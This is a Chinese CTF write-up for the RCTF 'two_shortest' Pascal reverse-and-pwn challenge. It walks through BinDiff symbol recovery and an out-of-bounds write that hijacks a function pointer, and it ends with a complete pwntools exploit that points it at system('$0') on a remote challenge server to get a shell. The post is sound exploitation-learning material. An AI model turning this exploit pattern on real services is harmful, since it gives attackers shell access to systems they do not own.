rctf-two_shortest

Posted by marginal on 2021-09-14
Estimated Reading Time 2 Minutes
Words 496 In Total
Viewed Times

这是一道pascal逆向+pwn

搜索字符串得到FPC 3.2.2 [2021/05/31] for x86_64 - Linux

FPC是pascal的编译器,

下好编译器, 编译器几份文件去bindiff.

重点是要编译一下system()这个函数.

网上抄的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
program Greetings;
const
message = ' Welcome to the world of Pascal ';
type
name = string;
var
firstname, surname: name;
begin
writeln('Please enter your first name: ');
readln(firstname);
writeln('Please enter your surname: ');
readln(surname);
writeln;
writeln(message, ' ', firstname, ' ', surname);
end.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
program exRecursion;
var
num, f: integer;
function fact(x: integer): integer; (* calculates factorial of x - x! *)
begin
if x=0 then
fact := 1
else
fact := x * fact(x-1); (* recursive call *)
end; { end of function fact}
begin
writeln(' Enter a number: ');
readln(num);
f := fact(num);
writeln(' Factorial ', num, ' is: ' , f);
end.
1
2
3
4
5
6
7
8
9
10
11
12
13
rogram example56;

uses Unix;

{ Program to demonstrate the Shell function }

Var S : Longint;

begin
Writeln ('Output of ls -l *.pp');
S:=fpSystem('ls -l *.pp');
Writeln ('Command exited with status : ',S);
end.

然后比较ida的分析结果和源代码,找到类system函数在这

1
2
3
4
int mysystem(const char *command)
{
return system((__int64)"./185");
}

SYSTEM____SETTEXTCODEPAGE_TEXT_WORD函数会发生执行.

1
2
3
4
5
6
7
8
9
__int64 __fastcall SYSTEM____SETTEXTCODEPAGE_TEXT_WORD(__int64 a1)
{
__int64 result; // rax

result = a1;
if ( *(_QWORD *)(a1 + 64) )
return (*(__int64 (__fastcall **)(__int64))(a1 + 64))(a1);
return result;
}

这是是SYSTEM____SETTEXTCODEPAGE_TEXT_WORD函数参数的生成

1
2
3
4
5
6
7
unsigned int *fpc_get_input()
{
if ( off_4EA620 )
return (unsigned int *)off_4EA620(off_4E8AC0[0]);
else
return &off_4E8AC0[2];
}

这里的输入可以越界去修改

1
dword_437800[400 * input3 - 401 + input4] = input_tmp;

只要去修改了off_4E8AC0数组的值, 就可以修改SYSTEM____SETTEXTCODEPAGE_TEXT_WORD函数的函数指针的执行.

a1数组的0_offset为参数, *(a1 + 64) 为执行函数目标是system(“/bin/sh”)

这里的/bin/sh修改*a1的值, 地址不变.

可以发现出问题了, 是iocheck函数的原因.

但是只修改为$0(另外一种shell方式), 这样就可以执行了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import * 
context.log_level='debug'
def strr(array):
payload = ''
for i in array:
payload += str(i) + '\n'
return payload

# cn = process("./185")
# nc 124.70.137.88 60000
cn = remote("124.70.137.88", 60000)
payload = strr([
1,
4,
# arg => binsh
# 725704

454,
227,
# 0x6e69622f,
0x003024, # '$0\x00'
# # 725705

# 454,
# 228,
# 0x0068732f,

# 725768
454,
243, #
0x0000000000424960, # system
# 0x0000000004012D0
])

cn.sendline(payload)

cn.interactive()

如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !